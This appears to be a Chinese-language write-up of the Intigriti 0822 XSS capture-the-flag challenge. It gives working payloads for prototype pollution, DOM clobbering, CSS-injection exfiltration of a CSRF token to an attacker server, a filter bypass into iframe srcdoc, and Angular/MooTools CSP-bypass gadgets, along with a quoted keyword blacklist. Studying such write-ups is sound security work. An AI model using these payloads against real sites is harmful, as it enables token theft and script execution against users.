Intigriti 0822 XSS Challenge Writeup

最近解了 Intigriti 0822 XSS Challenge,並成功在這題上面獲得了 First Blood。這題結合了多種前端的攻擊技巧,也有些值得學習的新利用方法可以學,所以會簡單紀錄一下我的解法

Overview

題目有提供 source code,所以先羅列些可能可利用的點出來:

  • app.php 可透過 #msg= 指定 html,然後會經過 DOMPurify 2.3.6 sanitize 過之後 html injection,但在不到一秒的時間後就會被移除掉
  • app.php 有直接的 html injection: value="<?= $_SESSION['name']; ?>",但長度需小於 20
  • preview.php 可以透過 POST 參數 desc,雖然它會經過 html filter,但由於那 filter 方式是錯誤的所以可以 CSRF -> XSS
  • preview.php 會驗證 CSRF Token,而 CSRF Token 會出現在 app.php 的頁面上
  • 全站都有 CSP,但是因為有允許 https://cdnjs.cloudflare.com/ajax/libs/ 所以顯然是用 Angular.js 去繞

從這五個點就已足夠看出大致攻擊流程了:

  1. 透過 app.php 用某些方法 (e.g. CSS Injection) 偷到 CSRF Token
  2. 以 Token 去 CSRF preview.php 達成 XSS
  3. 使用 Angular.js 繞過 CSP

然而這邊有幾個問題,例如 html injection 的內容在短時間內就會被移除掉,導致難以 CSS Injection,所以需要找方法繞過。再來是 CSS Injection 因為 html 架構的一些原因實際執行起來並沒那麼簡單,這些問題都得一一解決。

Bypass HTML Injection Timeout

這個是整個 app.js 的內容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
let isDarkMode = false
let theme

initTheme()
document.querySelector('.btn-update-name').addEventListener('click', () => {
const name = prompt('Please input new name')
if (!name) return
const csrfToken = document.querySelector('meta[name="csrf-token"]').content
fetch('./update-name.php', {
method: 'POST',
headers: {
'content-type': 'application/x-www-form-urlencoded'
},
credentials: 'include',
body: `csrf-token=${encodeURIComponent(csrfToken)}&name=${encodeURIComponent(name)}`
})
.then(r => r.text())
.then(res => {
if (res === 'success') {
document.querySelector('#nameField').value = name
}
alert(res)
}).catch(e => {
alert('Failed:' + e.toString())
})
})

function initTheme() {
if (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) {
isDarkMode = true
}

fetch("theme.php")
.then((res) => res.json())
.then((serverTheme) => {
theme = {
primary: {},
secondary: {}
}

for(let themeName in serverTheme) {
const currentTheme = theme[themeName]
const currentServerTheme = serverTheme[themeName]

for(let item in currentServerTheme) {
currentTheme[item] = () => isDarkMode ? currentServerTheme[item].dark : currentServerTheme[item].light
}
}

const themeDiv = document.querySelector('.theme-text')
themeDiv.innerText = `Primary - Text: ${theme?.primary?.text()}, Background: ${theme?.primary?.bg()}
Secondary - Text: ${theme?.secondary?.text()}, Background: ${theme?.secondary?.bg()}
`
start()
})
}


function start() {
const message = decodeURIComponent(location.hash.replace('#msg=', ''))
if (!message.length) return
const options = {}
if (document.domain.match(/testing/)) {
options['production'] = false
} else {
options['production'] = true
options['timeout'] = () => Math.random()*300 + 300
}
showMessage(message, {
container: document.querySelector('body'),
...options
})
}

function showMessage(message, options) {
const getTimeout = options.timeout || (() => 500)
const container = options.container || document.querySelector('body')

const modal = document.createElement('div')
modal.id = 'messageModal'
modal.innerHTML = DOMPurify.sanitize(message)
container.appendChild(modal)
history.replaceState(null, null, ' ')

setTimeout(() => {
container.removeChild(modal)
}, getTimeout())
}

首先 fetch theme.php 做某些事之後進到 start,然後判斷 document.domain 決定是否是 production 和要不要指定 timeout 參數,然後最後 timeout 會被用在 removeChild 的 timeout。單從這邊來看是看不出什麼方法繞過這個時間限制的,所以可以關注前面的部分。

在上面 fetch 的 response 處理部分可以發現說如果 serverTheme 可控,那麼我們是可以在這邊做到 prototype pollution 的,且我們 pollute 的值會是個單純 return 一個值的 function。例如假設 serverTheme 多了 __proto__ 像是下面這樣:

1
2
3
4
5
6
7
...
"__proto__": {
"asd": {
"dark": true,
"light": true
}
}

那麼 Object.prototype.asd() === true 就會成立。因此假設說 start 那邊進到了 document.domain.match(/testing/) 的 branch,那麼只要 pollute Object.prototype.timeout 讓它回傳一個很大的數,我們就能讓 html injection 持續的比較久一點。

而要控制 serverTheme 也不難,因為可以看到說它會把 body 當作 JSON parse,之後輸出 format 過的 JSON 出來,中間並沒有檢查 Content-Type,所以這邊可以用知名的 CSRF JSON 招數繞過即可。

不過這樣的話問題就變成了要怎麼讓 document.domain.match(/testing/) 成立。雖然 Google 一下可以知道 0121 的 xss challenge 有支援 *.challenge-0121.intigriti.io,所以像是 testing.challenge-0121.intigriti.io 都能 work,但是這題並沒有這樣的設計,所以這招沒辦法使用。

這邊要繞過的關鍵就是使用那個 20 字以內的 injection 了,因為 injection 的地方是在一個 attribute 之中,所以塞 "><img name=domain> 剛剛好可以 clobber 到 document.domain,此時它會是個 HTMLElement,上面並沒有 .match 的函數所以會出錯。這邊就要再用一次 prototype pollution,直接讓 Object.prototype.match() === true 成立就能讓它通過條件檢查,進到 branch,並成功達成讓 HTML Injection 持久的效果。

總之這邊要做的事就是先 CSRF JSON 修改 theme,去 prototype pollution 修改 timeout()match() 讓它 timeout 變很長,使 HTML Injection 的部分可以持久保持在頁面上,方便後面的利用。

CSS Injection

因為要 CSRF preview.php 會需要 CSRF Token,所以需要找方法 leak CSRF Token 出來才行。而 DOMPurify 預設允許的 tag 之一就有 <style>,所以方法很明顯就是 CSS Injection。

PS: DOMPurify.sanitize('<style></style>') 會是空字串,但 DOMPurify.sanitize('a<style></style>') 不會,這是因為 DOMPurify 內部處理是直接使用 DOMParser,所以行為就類似 browser 處理 HTML5 一樣,預設 style 會被放到 <head> 之中

這題 app.php 頁面的 CSRF Token 有兩個地方:

1
2
3
4
5
6
7
8
<head>
<!-- other elements omitted -->
<meta name="csrf-token" content="<?= $csrf_token ?>">
</head>

<div>
<input type="hidden" name="csrf-token" value="<?= $csrf_token ?>" />
</div>

input 的部分應該比較常見,就是 input[value^=a] 這樣去 match,然後透過 background: url(http://attacker/?leak=a) 這樣的方法回傳達成的。然而這邊有個很大的問題是 type="hidden" 會導致整個 element 都不會顯示出來,從而也使 background 的部分也不載入,因此沒辦法透過這個地方 leak。

雖然 Google 一下很快就能找到 input[value^=a] ~ * 的方法去 match 對應 input 同層級後面的任意 element 來代替,但是這邊 inputdiv 底下的唯一元素,因此這招也不能用。

其實 css 還有個比較新的功能是 :has,在支援的瀏覽器上可以用 div:has(input[value^=a]) 的方法去 match 那個 div。然而 :has 在 Chromium 中是在 105 版本才加入的,而 Chrome Stable 升到 105 的日期是 2022/08/30,也就是這個 challenge 結束的兩天後才會正式 release,因此這招也不能用。

這邊的關鍵是注意到頁面的 <meta>content 中也是有 CSRF Token,但由於它是個隱藏的元素,所以 background 一樣是沒有作用的。不過如果加上了 head, meta { display:block; } 會發現很有趣的事,就是 <head> 中的元素真的能用 display: block; 讓它變得可見,此時 background 也真的能產生作用,因此用 meta[content^=a] 去 leak 這個招數是確實可行的。

因為要在一次把整個 CSRF Token (32 chars) leak 出來,所以需要一些 CSS @import 的利用配合 server 動態生成 CSS 才能達成,我是參考 Sequential Import Chaining 的方法弄的。基本上就是先弄 32 個 <style> 裡面每個都放一個 @import 'SERVER/polling/{i}';,然後 server 先處理回傳 i=0 的 css 像是:

1
2
3
4
5
6
7
meta[content^=0] {
background: url('SERVER/leak/0');
}
meta[content^=1] {
background: url('SERVER/leak/1');
}
...

假設第一個字元是 a,那麼當 server 收到 /leak/a 的時候再回傳 i=1 的 response 時再回傳:

1
2
3
4
5
6
7
meta[content^=a0] {
background: url('SERVER/leak/a0');
}
meta[content^=a1] {
background: url('SERVER/leak/a1');
}
...

用這個方法就能反覆的一個一個字元 leak 出來了。不過實際上實作會遇到一些問題,例如 Chromium 一般對一個 host 最多只會有 6 個 connections,當前面 polling 卡住的時候時候 /leak/? 是送不出去的。

繞過方法也很簡單,就是提供兩個 host 就能繞過這個問題了。像是我是用 Flask 在一個 port 上 listen,然後接 socat 直接 proxy 到另一個 port 去,然後讓 polling 和 leak 使用不同的 port 就能繞過這點了。另外是我後來因為需要 https 才能繞過 mixed content 的問題把 exploit 弄到我的網站上面,因為是有 CloudFlare 在前端當 proxy 所以有 HTTP/3,發現說在 HTTP/3 的情況下可以直接使用同個 host 也不會卡住,所以其實不用這麼麻煩。我猜 HTTP/2 大概也有一樣的效果吧。

XSS + Angular CSP Bypass

拿到 CSRF Token 之後就能 CSRF 攻擊 preview.php 了,它雖然有 escape html 但處理是有問題的:

1
2
3
$desc = htmlspecialchars($desc);
$desc = preg_replace('/(https?:\/\/www\.youtube\.com\/embed\/[^\s]*)/', '<iframe src="$1"></iframe>', $desc);
$desc = preg_replace('/(https?:\/\/[^\s]*\.(png|jpg|gif))/', '<img src="$1">', $desc);

因為它在 escape 之後還會 replace html 內容,以下的內容經過這些處理之後會變成更下面那樣:

1
http://www.youtube.com/embed/srcdoc='asd'.png
1
<iframe src="<img src="http://www.youtube.com/embed/srcdoc='asd'.png">"></iframe>

因此我們透過兩層替換讓 payload 跑到 attribute context,然後用 srcdoc 在裡面 XSS

這個只在 php 7 有用,因為 php 8 的 htmlspecialchars 預設選項有 ENT_QUOTES,導致它也會 escape ',可能會變得更麻煩

最後是要繞 CSP,因為最初那個 iframe 是 hidden 的,且又不要 user interaction 的話最穩定的繞法是使用 Angular.js + Prototype.js:

1
2
3
4
5
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
</div>

其實用比較新舊的 Angular.js 沒有 Sandbox 保護很容易達成 eval,但是因為會違反 CSP 所以還是要找方法透過在 ng-csp 模擬的執行環境中拿到 window 才行

然而 preview.php 有對 $desc 做些 blacklist 檢查:

1
2
3
4
5
6
7
8
$dangerous_words = ['eval', 'setTimeout', 'setInterval', 'Function', 'constructor', 'proto', 'on', '%', '&', '#', '?', '\\'];

foreach ($dangerous_words as $word) {
if (stripos($desc, $word) !== false){
header("Location: app.php#msg=dangerous word detected!");
die();
}
}

其中就禁止了 proto 和其他 html 相關的 escape 字元,所以沒辦法使用 prototype.js,所以要找有沒有類似的替代品。因為直接 Google 都找不太到相關的資訊,所以需要自己理解這個 Angular Sandbox Escape 是怎麼做到的才行。它的關鍵在於這裡:

1
2
3
4
5
6
7
8
function curry() {
if (!arguments.length) return this;
var __method = this, args = slice.call(arguments, 0);
return function() {
var a = merge(args, arguments);
return __method.apply(this, a);
}
}

可以知道當它沒有參數時會直接 return this,然後熟悉 javascript 機制的人應該知道 this 在不存在的情況下會是 global:

1
2
3
4
5
6
7
8
function f() { return this }
const o = { f }

// all true
console.log(f() === window)
console.log(o.f() === o)
console.log(f.call(o) === o)
console.log(f.call() === window)

所以我們的目標很簡單,就是在 cdnjs 上找到一個會動 builtin object 的 prototype 的 library,且裡面還要包含 return this 才行。而我的思路是想說如今 2022 基本上除了 polyfill 應該比較少有動 prototype 的 library,所以應該要往舊的 library 找找看。而想到 Prototype.js 同個時代的 library 也有其他不少選擇,而其中最著名的應該是 MooTools,因為它就是 Array.prototype.includes 不叫 Array.prototype.contains主要原因。另外和 MooTools 有關的類似情況還有 SmooshGate,兩者都是因為 MooTools 會修改內建的 prototype 有關。

總之我們找到了會改 Prototype 的 library,所以在 mootools-core.js 中搜尋一下 return this 可以找到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Function.prototype.overloadSetter = function(usePlural){
var self = this;
return function(a, b){
if (a == null) return this;
if (usePlural || typeof a != 'string'){
for (var k in a) self.call(this, k, a[k]);
/*<ltIE8>*/
forEachObjectEnumberableKey(a, self, this);
/*</ltIE8>*/
} else {
self.call(this, a, b);
}
return this;
};
};

因此只要 fn.overloadSetter().call() 就能拿到 window 物件,使用這個方法微調一下 Angular.js 中的 expression 就能繞過 CSP 得到 alert(document.domain) 了:

1
2
3
4
5
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.js></script>
<script src=https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.js></script>
<body ng-app ng-csp>
{{a=$apply.overloadSetter().call()}}{{a.alert(a.document.domain)}}
</body>

Final Exploit

完整的 Exploit 可以在這邊下載: exp.tar.gz

這個題目真的相當有趣,綜合了許多常見的招式結合在一起,並且還有些不同的改變 (如 <meta>, MooTools 等等),需要能把許多基本功合在一起才有辦法解開這題。另外還讓我第一次學到了怎麼做一個實際的 CSS Injection,而不只是了解粗略概念而已。

另外是我這篇文章中的 CSS Injection 方法在 Firefox 上是有些小問題的,因為它在處理 @import 和 Chromium 不太相同。根據 Huli 所說可以參考 CSS data exfiltration in Firefox via a single injection point 的方法做些修正之後應該就能成功了,可能之後有空會來研究看看它們的差異究竟在哪。

Appendix

作者之一 Huli 的 writeup: Intigriti 0822 XSS Challenge Author Writeup

作者之一 Bruno 的 writeup: BrunoHalltari/CTF-Writeups - challenge-0822.intigriti.io